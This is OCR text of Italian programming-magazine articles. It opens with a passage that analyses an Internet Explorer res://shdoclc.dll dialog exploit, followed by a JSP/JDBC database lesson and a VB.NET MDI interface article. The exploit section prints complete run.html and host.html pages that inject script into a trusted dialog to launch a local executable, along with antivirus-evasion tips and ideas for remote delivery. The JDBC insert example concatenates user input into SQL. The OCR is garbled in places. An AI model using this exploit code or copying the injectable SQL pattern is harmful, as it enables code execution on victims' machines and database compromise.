Proprietà per accorgersi, con un po' di stupore, 
che i messaggi d'errore "amichevoli" vengono 
fuori da una libreria DLL, più precisamente 
SHDOCLC.DLL, localizzata nella cartella 
\WINDOWS\SYSTEM32 (nei sistemi 2000 
/XP). Che cos'è? A cosa serve? Si tratta di una 
libreria di sistema che va sotto il nome di Shell 
Doc Object e Control Library e che viene utiliz- 
zata da IE come una specie di contenitore; il 
browser può accedere ad essa specificando 
una richiesta di URL che inizia col prefisso 
"res://" . 

Internet Explorer usa questa DLL per richia- 
mare alcune pagine standard di sistema, pro- 
prio come quella dell'errore 404. Qualche pic- 
colo assaggio di ciò che è contenuto all'interno 
della SHDOCLC si può fare usando lo stesso 
IE (Fig. 2) e provando a digitare alcuni di que- 
sti URL: 

res: //shdoclc.dll/ world.bmp 
res://shdoclc.dll/ie5.gif 
res://shdoclc.dll/about.dlg 
res:/ /shdoclc.dll /preview.dlg 

Per una lista dettagliata di ciò che è contenuto 
nella libreria DLL consigliamo l'uso di EXE- 
SCOPE, un programma capace di aprire file 
eseguibili e librerie, consentendo di visualiz- 
zare e modificare le risorse del file; usando 
EXESCOPE si può chiaramente vedere che 
SHDOCLC.DLL contiene almeno una ventina 
di pagine web, sotto la voce Resource/23. (Fig. 
3). Cosa hanno a che fare queste pagine con 
l'exploit di questo mese lo scopriremo a 
breve.... 



L'HTML NUOCE 
ALLA SALUTE 
DEI PROGRAMMI 

Durante i nostri piccoli esperimenti con le 
pagine contenute nella SHDOCLC, ci è capita- 
to di imbatterci in pagine web che realizzano 
funzioni di sistema del browser di Microsoft: 
in parole più semplici si può dire che alcune 
delle funzioni di IE sono realizzate attraverso 
pagine HTML, pagine in grado quindi di agire 
sul sistema operativo a un livello molto basso 
e con tutti i permessi di protezione abilitati. 
Quelli di Microsoft hanno infatti pensato di 
scrivere parte delle funzioni di IE sotto forma 
di pagine web e di posizionarle poi in una 
libreria DLL di sistema, accessibile dal brow- 
ser tramite "res://" . Un esempio pratico di ciò 
sto dicendo si può vedere con i Preferiti di IE: 
il menù Organizza Preferiti, non corrisponde ad 
altro se non alla pagina res:// shdoclc.dll/ or g- 
fav.dlg. Dopo queste considerazioni d'obbligo, 
non resta che passare all'analisi dell'exploit di 
questo mese, che sfrutta proprio le pagine di 
default della SHDOCLC.DLL viste finora. 



ANALISI DELL'EXPLOIT 

L'exploit di oggi si basa su una variante del 
codice postato sugli archivi di Bugtraq dall'e- 
sperto di sicurezza Liu Die Yu e dal team della 
Grey Magic Software (Fig. 5). Per implementare 
l'exploit è necessario creare due pagine HTML 
con compiti e scopi ben precisi: 

1) host.html - pagina "ospite" che contiene 
l'oggetto <IFRAME>; 

2) run.html - pagina che contiene il codice 
Javascript con l'exploit: 

<HTML> 

<H1>INTERNET EXPLORER RES-DIALOG 

EXPLOIT</Hl> 

(RUN.HTML) 
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<P>Tentativo di apertura di una finestra di 

dialogo in corso...</P> 

<B>showModalDialog("base.html",dlg_par);</B> 

<script language="jscript"> 

function oExploit(iSec) { 

return {rel:"stylesheet", 

readyState : "exploit", 

href:injcode }; } 

oExploit.length = l; 

var dlg_par={document:{ 

all:{tags:function (sTag) { 

return sTag = = "link" ? oExploit : []; } 

}} 

> 

var injcode="<scr\ipt language=\"jscript\" defer>\ 
var o=open(\"res://shdoclc.dll/about.dlg\" / 
\"\"A"height=10Q / width = lQQ / resizable\");\ 

setTimeout(function (){\ 

o.document.body.innerHTML=\"<object 

classid = 'clsid: 10101010-1010-1111-1010- 

ÌOIOIOIOIOIO'X 

codebase='C:/WINDOWS/CALC.EXE'> 

</object>\";}\ 

,2000);\ 

</scr\ipt>" 

showModalDialog("host.html" / dlg_par); 

</script> 

</HTML> 

Il codice Javascript si basa totalmente sulla 
funzione showModalDialog, che provvede ad 
aprire la pagina ospite "hosthtml" iniettando- 
gli il codice dell'exploit memorizzato nella 
variabile stringa injcode. Il codice contenuto 
da injcode provvede a lanciare un file esegui- 
bile (Fig. 4) (neir esempio si tratta di C:\WIN- 
DOWS\CALC.EXE) sfruttando appunto la 
creazione di una pagina di tipo res://shdoclc.dll 
/about.dlg (ritenuta sicura da IE) in cui viene 
iniettato, dopo un timeout di 2 secondi, il co- 
dice che esegue la calcolatrice mediante il vec- 
chio trucco del body.innerHTML. Vista la parti- 
colare sintassi del codice iniettato, che deve 
essere eseguito come se fosse una riga di indi- 
rizzo passata al browser, ecco alcune racco- 
mandazioni e alcuni dettagli da tener presen- 
te nella scrittura del codice da iniettare nella 
variabile injcode: 

• la sintassi "<scr\ipt" al posto di "<script" è 
necessaria per evitare i controlli degli anti- 
virus e un eventuale filtraggio da parte 
del browser IE che potrebbe accorgersi del 
trucco; 

• poiché injcode è una variabile stringa, 
quando vogliamo inserire il simbolo delle 
virgolette al suo interno, bisognerà usare 
la sintassi \"; 

• per migliorare la leggibilità del codice ab- 



biamo usato il simbolo \ per separare le 
diverse istruzioni del codice con dei ritor- 
ni a capo; in realtà la stringa injcode è come 
se fosse scritta su un'unica riga molto 
lunga; 
• il percorso del file da eseguire deve avere 
la sintassi " C:/ WINDOWS /CALC. EXE" e 
non "C:\WINDOWS\CALC.EXE". 

Il codice dalla pagina ospite è invece più sem- 
plice e immediato, visto che sfrutta soltanto 
un tag IFRAME che punta alla finestra di dia- 
logo // incriminata ,, res://shdoclc/analyze.dlg: 

<html> 

(HOST.HTML) 

<style> 

iframe { display:none; } 

</style> 

<body> 

< iframe src="res://shdoclc.dll/analyze.dlg"> 

</iframe> 

<hl>Exploit in corso...</hl> 

</body> 

</html> 

Questo exploit è molto simile a quello presen- 
tato da Thor Larholm parecchio tempo prima, 
con Tunica differenza che mentre il preceden- 
te sfruttava la finestra di dialogo "res://shdoclc 
Iprivacypolicy.dlg" per eseguire il codice, la va- 
riante vista oggi fa uso della finestra "res://sh- 
doclc/analyze.dlg" . La differenza tra le due im- 
plementazioni sta nella compatibilità: analyze 
.dlg è supportata sia da IE 5.5 che da IE 6.0, 
mentre privacypolicy.dlg è limitata al solo IE 
6.0. 



CONSIDERAZIONI 
FINALI 

Uuso di questo exploit è possibile sia local- 
mente, sia in remoto. La presenza di due pagi- 
ne HTML rende però difficile la trasportabilità 
dell' exploit e inoltre non è neanche molto 
semplice un adattamento del codice per T ese- 
cuzione all'interno di una e-mail di Outlook 
Express; si potrebbe pensare infatti di utilizza- 
re la showModalDialogO in modo da farla pun- 
tare ad un indirizzo esterno del tipo http:// 
www.miosito .com/host.html invece che ad un 
file locale "hosthtml" ' . Altra limitazione di 
questo exploit è l'apertura simultanea di di- 
verse finestre: un'esecuzione trasparente, sen- 
za alcun output percettibile da parte del navi- 
gatore, è difficile da implementare proprio 
perché vengono utilizzate le finestre di dialo- 
go di IE. 

Elia Florio 
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Fig. 3: ALL'INTERNO DI SHDOCLC.DLL 
ExeScope è un programma capace di 
esplorare le risorse dei file eseguibili 
e delle DLL (come in questo caso) e 
può essere scaricato da 
http://hp. vector. co.jp/authors/VAOO 
3525/EXESC630.ZIP. Come si evince 
dalla foto, la libreria SHDOCLC.DLL 
contiene pagine web, finestre di 
dialogo, icone e immagini bitmap. 



INTERNET EXPLORER RES-DL\LOG EXPLOIT 



Exploit in corso... 



imin^^ìUJ 




1 


r « 


1-1=1 


j«J_lJ. 


,i .i -1 li 


^J ^^^^^J 





Fig. 4: L'EXPLOIT IN AZIONE 
L'esecuzione dell'exploit comporta 
l'apertura di diverse finestre di 
dialogo che essendo prelevate dalla 
libreria SHDOCLC.DLL, presentano 
meno restrizioni di sicurezza e 
possono quindi mandare in run file 
come la calcolatrice di Windows. 
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Fig. 5: GREYMAGIC SOFTWARE 
Una versione più avanzata di questo 
exploit è stata pubblicata dai 
ricercatori della GreyMagic Software 
all'indirizzo http:/ /security. 
greymagic.com/misc/globalDgArg/. 
Il problema delle finestre di dialogo di 
IE è stato anche segnalato su 
http://wwwl6.brinkster.com/liudiey 
u/BadParent/ BadParent-MyPage.htm 
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JSP 



Interrogare 

ED AGGIORNARE UN DATABASE 
MEDIANTE JDBC 



Questa lezione scende nel dettaglio di JDBC, 
descrivendone le principali classi e le più importanti 
interfacce. Saranno fornite delle tecniche sistematiche 
utili tanto per interrogare un database di qualsiasi tipo 
quanto per aggiornarne i contenuti e la struttura. 



File sul CD 



\soft\codice 
\codici_jspl2.zip 




Dispense Web 
del corso 

I r& I Diversi approfon- 
\-J | di menti legati alla 
lezione odierna e alle 
precedenti sono repe- 
ribili in Internet, tra le 
dispense Web del cor- 
so. 
L'URL di riferimento è: 

http://www.sauronsofr.ware 
■it/dispenseweb/isp 



Come illustrato nel corso della precedente le- 
zione, JDBC è una potente interfaccia di 
programmazione per l'accesso ai database 
da qualsiasi software Java. In particolare, si è mes- 
so l'accento su come i singoli driver JDBC (tra cui 
risalta il ponte JDBC-ODBC) consentano l'astrazio- 
ne dal peculiare DBMS impiegato: il programmato- 
re non deve curarsi delle differenze strutturali che 
intercorrono tra un tipo di database ed un altro, 
giacché l'interfaccia offerta da JDBC è sempre la 
stessa. Questa lezione porta avanti la panoramica 
di JDBC, andando ad esaminare più nel dettaglio la 
struttura ed i contenuti del package java. sai. 

L'ESEMPIO GUIDA 

Come esempio guida della lezione impiegheremo 
un database di Access. Non avete a disposizione 
questo software, magari perché non lavorate sotto 
Windows? Non è un problema! Potete utilizzare il 
DBMS che preferite, a patto di disporre dell'appo- 
sito driver JDBC. Per il resto, vi basterà adattare le 
istruzioni che seguono al vostro specifico contesto. 
Create un database inizialmente vuoto, quindi in- 
serite al suo interno una prima tabella, nominata 
Utenti. La struttura è riportata di seguito: 

• ID, di tipo Contatore, da impiegare come chiave 
primaria. 

• Nome, di tipo Testo. 

• Cognome, di tipo Testo. 

• Email, di tipo Testo. 

Popolate la tabella con qualche record arbitrario, 
(Tab. 1). Salvate il database nella posizione che pre- 



ID 


Nome 


Cognome 


Email 


1 


Mario 


Rossi 


rossi@tin.it 


2 


Luigi 


Bianchi 


bianchi@libero.it 


3 


Antonio 


Verdi 


verdi@tiscali.it 



Tab. 1: Il nostro database, popolato con i primi record 

ferite: accederemo ad esso mediante il ponte JDBC- 
ODBC e un DSN di sistema associato al file MDB in 
questione. Dunque, il nome ed il percorso del file 
MDB non sono rilevanti per gli esempi che segui- 
ranno. Al contrario, è importante stabilire un nome 
unico per il DSN di sistema associato alla base di 
dati. Scegliamo MioDatabase. Le istruzioni per la 
creazione di un DSN di sistema sono state riporta- 
te nel corso della precedente lezione. Giunti a que- 
sto punto, è possibile desumere una volta per tutte 
le due "incognite" di JDBC: il nome del driver da ri- 
chiamare e l'URL del database che si intende sfrut- 
tare. Per il driver, come già anticipato, ricorreremo 
al ponte JDBC-ODBC: 

sun.jdbc.odbc.JdbcOdbcDriver 

L'indirizzo del database dipende completamente 
dal DSN creato in precedenza: 

jdbc:odbc:JSPTest 

CONNESSIONE 
AL DATABASE 

Per connettersi al database appena realizzato è an- 
zitutto necessario caricare in memoria il driver cor- 
rispondente, affinché questo sia già disponibile nel 
momento in cui si richiederanno ulteriori servizi. 
La sintassi per effettuare l'operazione è la seguente: 
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Class. forName(stringa_driver); 

A questo punto, entrano in gioco l'interfaccia ja- 
va.sql .Connection e la classe j ava. sql. Driver Manager. 
La prima descrive le funzionalità necessarie per en- 
trare in comunicazione con uno specifico database, 
mentre DriverManager offre una serie di metodi sta- 
tici, utili per stabilire qualsiasi tipo di connessione 
consentita dai driver JDBC precaricati in memoria. 
Il modello generalmente osservato dai program- 
matori Java è il seguente: 

Connection conn = DriverManager.getConnection( 

url_database); 

Una volta ottenuta una connessione attiva, diventa 
possibile sfruttare i metodi descritti da Connection. 

I più frequentemente utilizzati sono riportati di se- 
guito: 

• closeO Chiude la connessione. 

• createStatementO Crea e restituisce un oggetto 
java. sql. Statement, utile per interagire con il da- 
tabase mediante dei comandi SQL. 

L'INTERFACCIA 
STATEMENT 

II linguaggio SQL comprende istruzioni utili per 
interagire con una base di dati. In particolare, me- 
diante SQL è possibile compiere tre principali ope- 



1. Eseguire selezioni e ricerche all'interno di una o 
più tabelle, con l'istruzione SELECT. 

2. Modificare il contenuto di una tabella, con 
istruzioni come DELETE, INSERÌ e UPDATE. 

3. Modificare la struttura del database, ad esem- 
pio con CREATE TABLE. 

L'interfaccia java. sql. Statement comprende i metodi 
necessari per fornire al DBMS le istruzioni SQL ap- 
pena descritte: 

• executeQueryO commissiona le istruzioni di ti- 
po SELECT. 

• executeUpdateO commissiona le istruzioni di 
aggiornamento delle tabelle (DELETE, INSERÌ 
e UPDATE) e della base di dati (CREATE TA- 
BLE, CREATE INDEX e così via). 

Il metodo executeQueryO restituisce sempre un og- 
getto che implementa l'interfaccia java. sql.Result Set. 
Grazie ad essa, infatti, è possibile prendere in esa- 
me i risultati restituiti dall'istruzione SQL di ricer- 



ca commissionata al DBMS. executeUpdateO, al con- 
trario, non ha risultati da restituire. Nonostante 
questo, è possibile ottenere indietro un intero che 
riporta il numero delle righe coinvolte dall'esecu- 
zione di istruzioni di tipo DELETE, INSERÌ e UP- 
DATE. Negli altri casi, dove realmente non c'è nul- 
la da restituire, tale valore di ritorno sarà sempre 
(zero). 



L'INTERFACCIA RESULTSET 

L'intercaccia java. sql.Result Set comprende metodi 
indispensabili per scorrere l'insieme dei risultati re- 
stituiti da una query SQL. Il metodo next() scorre in 
avanti tale insieme. Si supponga di aver eseguito 
una query che restituisce due record. Inizialmente, 
il cursore del corrente oggetto ResultSet sarà posi- 
zionato antecedentemente al primo dei due record 
restituiti. In questa condizione, non è possibile 
svolgere operazioni di analisi dei risultati, giacché 
nessun record è puntato dal cursore corrente. Una 
prima chiamata a next() farà in modo che il cursore 
venga spostato sul primo record restituito dalla 
query. Ogni volta che un record è puntato dal cur- 
sore, diventa possibile estrapolarne i contenuti. 
Una seconda chiamata a next() sposterà il cursore 
in avanti di una posizione. A questo punto, il se- 
condo (ed ultimo) record ottenuto potrà essere esa- 
minato ed utilizzato. Una terza chiamata a next() 
porterà il cursore oltre l'ultimo record disponibile. 
Si ritorna, così, ad una condizione simile a quella 
iniziale, quando nessun record era puntato. Il me- 
todo nextO fornisce un'ulteriore funzionalità: resti- 
tuisce un valore booleano che è true quando un re- 
cord è puntato, false in caso contrario. In termini 
pratici, un intero ResultSet può essere passato in 
rassegna con un codice del tipo: 

while (resultSet.nextQ) { 

// Esamina il record corrente. 

} 

Un ciclo di questo tipo termina non appena tutti i 
record restituiti dalla query eseguita sono stati pas- 
sati in rassegna. Quando un record è correttamen- 
te puntato dal cursore, è possibile esaminare i suoi 
campi attraverso dei metodi che hanno tutti la for- 
ma: 

getTipo(int indiceColonna) 

Ad esempio, si supponga di voler ottenere il conte- 
nuto del primo campo del record corrente, sotto 
forma di stringa: 

String stringa = resultSet.getString(l); 

Se si conoscono i nomi associati ai singoli campi 
del record, è possibile usare la variante: 




JSP 



E i campi 
NULL? 

r^Hl campi NULL pos- 
\^J\ sono essere ricavati 
con una procedura come 
la seguente: 



String dato = resultSet 

.getStringflMomeColonna"); 
boolean datoNull = 

resultSet. wasNull(); 

Il metodo wasNullQ re- 
stituisce true se l'ultimo 
campo letto dal Result- 
Set è NULL. Quindi, stan- 
do all'esempio appena 
visto, sarà possibile co- 
noscere l'eventuale nul- 
lità del dato letto consul- 
tando il contenuto del 
booleano datoNull. 
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Occhio alla 
documentazione! 

I rA|In queste più re- 
\~-J\ centi lezioni sono 
stati volutamente o- 
messi diversi aspetti di 
JDBC, giacché il princi- 
pale argomento di stu- 
dio del corso è JSP, e 
non l'interazione tra Ja- 
va ed i database. Molte 
nozioni aggiuntive, 
quindi, possono essere 
apprese con letture 
idonee. Se non si vuole 
ricorrere a del ma- 
teriale esterno, in ogni 
caso, è possibile sfrut- 
tare la documentazione 
ufficiale di Java, prima 
fonte di informazione 
per tutto quello che 
concerne il linguaggio. 

II package java.sql 
contenuto nella versio- 
ne 1.4.1 della piattafor- 
ma J2SE è descritto 
all'indirizzo: 

http://iava.sun.com/12se/ 
1 .4. 1/docs/api/java/sql 
/packaqe-summary.html 



getTipo(String nomeColonna) 

Ad esempio: 

String stringa = resultSet.getString("Nome"); 

Il seguente elenco riporta i metodi di questa fami- 
glia più frequentemente utilizzati: 



Metodo 


Tipo restituito 


getBooleanO 


boolean 


getByteO 


byte 


getDateO 


java.util.Date 


getDoubleO 


doublé 


getFloatO 


float 


getlntO 


int 


getLongO 


long 


getShortO 


short 


getStringO 


java.lang.String 



UN ESEMPIO DI RICERCA 

Il codice riportato di seguito sfrutta il database il- 
lustrato nel primo paragrafo ed esegue una ricerca 
al suo interno. A questo punto, tutte le righe do- 
vrebbero risultare di semplice comprensione: 

<%@ page import="java.sql.*" %> 

<%! 

// Nome del driver. 

String DRIVER = "sun.jdbc.odbc.JdbcOdbcDriver"; 

// Indirizzo del database. 

String DBJJRL = "jdbc:odbc:MioDatabase"; 

%> 

<html> 

<head> 

<title>Corso di JSP, Lezione 12, Esempio l</title> 

</head> 

<body> 

<% 

// Carico il driver. 

Class.forName(DRIVER); 

// Preparo il riferimento alla connessione. 

Connection connection = nuli; 

try { 

// Apro la connesione verso il database. 

connection = DriverManager.getConnection(DB_URL); 
// Ottengo lo Statement per interagire con il database- 
Statement statement = connection.createStatementQ; 

// Interrogo il DBMS mediante una query SQL. 

ResultSet resultset = statement.executeQuery( 

"SELECT Nome, Cognome, Email FROM Utenti" 

); 

%> 

<table border="l"> 

<tr> 



<tdxb>Nome</bx/td> 

<td><b>Cognome</bx/td> 

<tdxb>E-mail</bx/td> 

</tr> 

<% 

// Scorro e mostro i risultati. 

while (resultset.nextQ) 

{ 

String nome = resultset.getString("Nome"); 
String cognome = resultset.getString("Cognome"); 

String email = resultset.getString("Email"); 

%> 

<tr> 

<tdx%= nome %x/td> 

<td><%= cognome %x/td> 

<tdxa href="mailto:<%= email %>"><%= 

email %x/ax/td> 

</tr> 

<% 

} 

%> 

</table> 

<% 

> 

catch (SQLException e) 

{ 

// In caso di errore. .. 

%xb>Eccezione:</b> <%= e.toStringQ %><% 

> 

finally 

{ 

if (connection != nuli) connection.closeQ; 

> 

%> 

</body> 

</html> 

Il risultato ottenuto dal codice è mostrato in Fig. 1 . 
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File Modifica Visualizza Vai Segnalibri Strumenti Finestre Guida 
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Documento: Completato 



Fig. 1: Il codice Java presente nel documento JSP 
estrae i dati presenti nella tabella Utenti e li 
impagina in output HTML. 



AGGIUNTA 

DI UN NUOVO RECORD 

Il seguente documento JSP aggiorna la tabella 
Utenti del database in uso, creando automatica- 
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mente un nuovo record su richiesta del visitatore 
della pagina: 

<%@ page import="java.sql.*" %> 

<%! 

// Nome del driver. 

String DRIVER = "sun.jdbc.odbc.JdbcOdbcDriver"; 

// Indirizzo del database. 

String DBJJRL = "jdbc:odbc:MioDatabase"; 

%> 

<% 

// Questo booleano tiene traccia delle operazioni. 

boolean recordAggiunto = false; 

// Esamino l'eventuale ricezione di dati. 

String nome = request.getParameter("nome"); 

String cognome = request.getParameter("cognome"); 
String email = request.getParameter("email"); 

// Se ho ricevuto dati, procedo con l'inserimento. 

if (nome != nuli && cognome != nuli && email != nuli) { 

// Carico il driver. 

Class.forName(DRIVER); 

// Preparo il riferimento alla connessione. 

Connection connection = nuli; 

try { 

// Apro la connesione verso il database. 

connection = DriverManager.getConnection(DB_URL); 
// Ottengo lo Statement per interagire con il database- 
Statement statement = connection.createStatementQ; 

// Aggiungo il nuovo record. 

statement.executellpdate( 

"INSERT INTO Utenti ( " + 

Nome, Cognome, Email " + 

") VALUES ( ^+ 

'" + nome + "', " + 

'" + cognome + "', " + 

'" + email + + 

) " 

); 

recordAggiunto = true; 

_} 

catch (SQLException e) 

_J 

recordAggiunto = false; 

_J 

finally 

_J 

if (connection != nuli) connection.closeQ; 

_J 

} 

%> 

<html> 

<head> 

<title>Corso di JSP, Lezione 12, Esempio 2</title> 

</head> 

<body> 

<form method = "post"> 

Nome:<br> 

<input type="text" name="nome"xbr> 



Cognome:<br> 

<input type="text" name="cognome"xbr> 

E-mail:<br> 

<input type="text" name="email"><brxbr> 

<input type="submit" value="Aggiungi nuovo record"> 

</form> 

<% if (recordAggiunto) 

{ %> 

<b>II nuovo record è stato aggiunto! </b> 

<% 

} %> 

</body> 

</html> 
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Documento: Completato 



Fig. 2: Questo modulo consente l'inserimento di 
nuovi record. 



Provate pure ad aggiungere nuovi record alla vo- 
stra tabella Utenti, sfruttando il modulo HTML 
presente nel documento appena esaminato (Fig. 2). 
Come è possibile osservare, in questo caso si è fat- 
to ricorso al metodo executeUpdateO di Statement. 
L'operazione richiesta, infatti, rientra nella catego- 
ria degli aggiornamenti, e non in quella delle 
query. Potrete verificare le aggiunte effettuate tor- 
nando a visitare la pagina JSP mostrata nel para- 
grafo precedente. 



D Utenti : Tabella 




Q@B 




ID Nome 


Cognome 


Email 




1 Mario 


Rossi 


njtin.it 




2 


Luigi 


Bianchi 


bianchi i@libero. 




3 


Antonio 


Verdi 


verdi@tiscali.it 


Pi BBHH 


_#J (Contatore) 


Record: H | 4 || 4 ► 


►1 !►#] di 4 





Fig. 3: Un nuovo record è stato automaticamente 
aggiunto alla tabella Utenti. 



CONCLUSIONI 

La panoramica di JDBC è, già da ora, sufficiente- 
mente corposa. Di norma, le applicazioni Web inte- 
ragiscono con i database a livello elementare. I con- 
cetti forniti nel corso delle più recenti lezioni sono 
di sicuro sufficienti per lo sviluppo della maggior 
parte delle applicazioni basate sull'interazione con 
un DBMS. 

Carlo Pelliccia 
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Visual Basic 



D'INTERFACCIA ED I MENU STANDARD 






La scelta della giusta interfaccia è da sempre croce 
e delizia dello sviluppatore. In questo appuntamento 
analizzeremo le tipologie di interfaccia messe 
a disposizione da VB.NET. 



Unire i Menu 



I menu di una 
form MDI secon- 
daria vengono fusi 
con quello della form 
MDI principale. 
Esistono due proprie- 
tà correlate che con- 
sentono di controlla- 
re con precisione le 
modalità con cui ogni 
menu e sottomenu 
viene aggiunto al me- 
nu della form princi- 
pale. MergeType è un 
valore enumerato che 
indica il comporta- 
mento delle voci di 
menu (sia nella form 
MDI principale sia in 
quella secondaria), 
quando vengono uni- 
te. La proprietà Mer- 
geOrder, invece, indi- 
ca la posizione relati- 
va delle voci di menu 
quando è unito ad un 
altro menu. 



In VB.Net è possibile determinare se imple- 
mentare un progetto, con un'interfaccia a 
documento singolo (SDÌ single- do eumeni in- 
terface) o con un'interfaccia a più documenti 
(MDI Multiple-document interface). Il termine 
documento in questo contesto si riferisce alle fi- 
nestre che l'applicazione gestisce. Oltre ai tipi 
di interfaccia più comuni, SDÌ e MDI è possibi- 
le utilizzare un terzo tipo di interfaccia: l'inter- 
faccia in stile Esplora risorse di Windows. In 
questo articolo analizzeremo brevemente le tre 
modalità d'interfaccia per poi descrivere in det- 
taglio un'applicazione MDI che implementi i 
menu standard di un'applicazione Windows, 
sfruttando gli oggetti contenuti nel namespace 
System. Windows. Forms. 

INTERFACCIA 

A DOCUMENTO SINGOLO 

Un esempio di interfaccia SDÌ è costituito dal- 
l'applicazione Paint inclusa in Microsoft Win- 
dows. In Paint è possibile aprire una sola fine- 
stra di disegno per volta. Per aprire un secondo 
disegno è necessario chiudere il primo. Se l'ap- 
plicazione ha una maschera principale, o un in- 
sieme di maschere molto indipendenti, è consi- 
gliabile implementare l'applicazione con un'in- 
terfaccia a singolo documento. Tipicamente una 
finestra SDÌ può avere il suo menù, la sua barra 
strumenti e la sua barra di stato, per questo se 
l'applicazione è costituita da molte finestre 
indipendenti, ciascuna con il suo menù, l'inter- 
faccia SDÌ potrebbe generare confusione. 

INTERFACCIA 

A PIÙ DOCUMENTI (MDI) 

Un esempio di interfaccia MDI è l'applicazione 
Microsoft Excel, poiché consente di visualizza- 




Fig. 1: Esempio di applicazione MDI. 



re contemporaneamente più documenti, ed 
ogni documento appare in una finestra separa- 
ta. L'interfaccia a più documenti è costituita da 
una maschera MDI padre che fornisce un'area 
di lavoro per l'utente. 

I controlli tipici contenuti in una finestra MDI 
padre sono: la barra dei menu, la barra degli 
strumenti e la barra di stato. La parte centrale 
della maschera, chiamata "client area", fornisce 
lo spazio per le finestre dell'applicazione, chia- 
mate finestre figlie e, a differenza di VB6 può 
contenere qualsiasi controllo. In VB.NET un'ap- 
plicazione MDI può contenere più di una form 
MDI padre e cessa di esistere quando viene 
chiusa la form di avvio, indipendentemente da 
altri form non MDI presenti nell'applicazione. 
Al momento dell'attivazione di una form figlia, 
che possiede un suo menu, il menu della form 
padre viene fuso con quello della form figlia 
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con le modalità evidenziate nel box a lato. 

FINESTRA STILE 
ESPLORA RISORSE 

Questo tipo d'interfaccia è simile all'applicazio- 
ne Esplora risorse di Windows, la parte sinistra 
della finestra visualizza una vista gerarchica e 
la parte destra visualizza le informazioni che si 
basano sulla selezione effettuata sulla parte 
sinistra. Questo tipo d'interfaccia è la migliore 
quando gli utenti devono navigare attraverso 
un gran numero di documenti, oppure quando 
si devono visualizzare dati con struttura gerar- 
chica. 

Bisogna stare molto attenti quando si sceglie 
questo tipo d'interfaccia, infatti, se i dati non 
sono effettivamente di natura gerarchica, la 
navigazione da parte dell'utente può essere non 
soddisfacente. 



L'INTERFACCIA STILE MDI 

E' universalmente riconosciuto che Windows 
esige la presenza di almeno una finestra per 
ogni programma e che ogni finestra è libera di 
muoversi sul desktop indipendentemente dalle 
finestre di altre applicazioni. Tutto ciò può 
generare confusione se il monitor è particolar- 
mente affollato, di conseguenza l'esigenza di 
tenere sotto controllo le finestre a video diventa 
un problema di notevole importanza. 
La soluzione ci viene proposta da tutte le mag- 
giori applicazioni Windows (Word, Excel,..) in 
cui esiste una sola finestra contenitore e tante 
altre finestre figlie che non possono muoversi 
oltre i limiti del proprio contenitore, questa 
soluzione è, appunto l'Interfaccia a più docu- 
menti (MDI). 
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proprietà IsMDIContainer impostata a True. Ri- 
cordiamo che in VB.NET una form MDI è in 
grado di contenere qualsiasi tipo di controllo, 
visualizzato sempre in primo piano rispetto a 
qualsiasi form secondaria. 

Possiamo ora iniziare il disegno della nostra 
applicazione di esempio, le prime operazioni da 
compiere saranno: 

• Creare un nuovo progetto; 

• Visualizzare la finestra delle proprietà di 
Formi ed impostare la proprietà IsMDICon- 
tainer a True (l'area centrale della finestra di- 
venterà più scura ad indicare il suo stato di 
form MDI padre) e le proprietà Name e Text 
rispettivamente ad FrmMDIPadre ed Esempio 
di applicazione MDI; 

• Trascinare il controllo MainMenu sulla form; 

• Impostare la struttura dei menu come nel- 
l'articolo precedente con i menu: File, Modi- 
fica, Visualizza, Finestra, ? ed i relativi sotto- 
menu. 



FORM MDI FIGLI 

Una form figlio è una normale form in cui la 
proprietà MDIParent punta alla form padre. Per 
creare una form figlio è quindi sufficiente inse- 
rire una nuova form nel Progetto, che chiamia- 
mo ad esempio FormFiglial e scrivere il seguen- 
te codice: 




Fig. 2: Modalità di visualizzazione delle finestre 
MDI. 



Naturalmente la procedura VisualizzaFormFiglia 
dovrà essere chiamata dall'evento Click della 
voce di menu: File/Nuovo 

Private Sub MnuFileNuovo_Click(ByVal sender As 

System .Object, ByVal e As 

System .EventArgs) Handles MnuFileNuovo.Click 

Visualizza Form FigliaQ 

End Sub 
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.NET 




MergeType 

\/%\ MergeType può 
r^s\ accettare quat- 
tro valori differenti: 

• ADD. La voce di me- 
nu viene aggiunta al- 
l'insieme degli oggetti 
Menultem della form 
MDI principale. Rap- 
presenta il valore pre- 
definito, pertanto il 
comportamento stan- 
dard è che tutti i menu 
della form secondaria 
vengono aggiunti al 
menu della form prin- 
cipale. La posizione 
nella quale l'elemento 
viene inserito dipende 
dalla proprietà Merge- 
Order. 

• REMOVE. La voce di 
menu non apparirà nel 
menu della form prin- 
cipale. 

• REPLACE. La voce di 
menu sostituisce la 
voce esistente nell'al- 
tra form che possiede 
lo stesso valore di 
MergeOrder 

• MERGELTEMS. La vo- 
ce di menu viene unita 
alla voce esistente al- 
la posizione indicata 
dalla proprietà Merge- 
Order. Se l'elemento è 
un sottomenu, i relati- 
vi elementi verranno 
aggiunti a quelli del 
sottomenu dell'altra 
form che possiede lo 
stesso MergeOrder. 



La base di un'applicazione MDI è costituita 
dalla form padre MDI che contiene le finestre 
figlie MDI. 

In VB6 esisteva un particolare tipo di finestra 
detta MDIForm in VB.NET una MDIForm può 
essere qualsiasi oggetto Form standard con la 



Per la nostra applicazione d'esempio disegnia- 
mo un controllo TextBox che occupi l'intera area 
della finestra in modo da simulare un editor di 
testo (impostate la proprietà MultiEine a True 
per consentire la scrittura di testo su più righe) 
In un'applicazione MDI è possibile includere 
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a: 



GetData 
Present 

I II metodo Get- 
| DataPresent del- 
l'oggetto Clipboard, 
consente di determi- 
nare se la Clipboard 
contiene dei dati nel 
formato specificato 
dal primo argomento. 
Se il secondo argo- 
mento è True o viene 
omesso, il metodo 
tenta di imporre la 
conversione al forma- 
to specificato. 



molte forra MDI figlie nonché delle form stan- 
dard. Le form MDI figlie presentano alcune 
caratteristiche: 

• Non è possibile visualizzare la barra dei 
menu all'interno di una form figlia, se si 
aggiunge un menu ad una form figlia auto- 
maticamente verrà fuso con la barra dei 
menu della form padre. 

• Una qualsiasi form MDI figlia viene visua- 
lizzata all'interno dell'area di lavoro della 
form MDI padre, non può pertanto essere 
visualizzata esternamente ad esso. 

• Quando una form MDI figlia viene ridotta 
ad icona, l'icona corrispondente viene 
visualizzata nella form MDI padre anziché 
nella barra delle applicazioni. 

• Quando una form figlia viene ingrandita 
alle dimensioni massime, il valore della sua 
proprietà Caption viene unito al valore della 
proprietà Caption della form MDI padre e 
visualizzato nella barra del titolo della form 
MDI. 

Passiamo ora all'implementazione dei menu 
standard introducendo tre nuovi oggetti 



L'OGGETTO CLIPBOARD 

L'oggetto Clipboard è un oggetto contenuto nel 
namespace System. Windows. Forms che fornisce 
l'accesso alla Clipboard di Windows. 
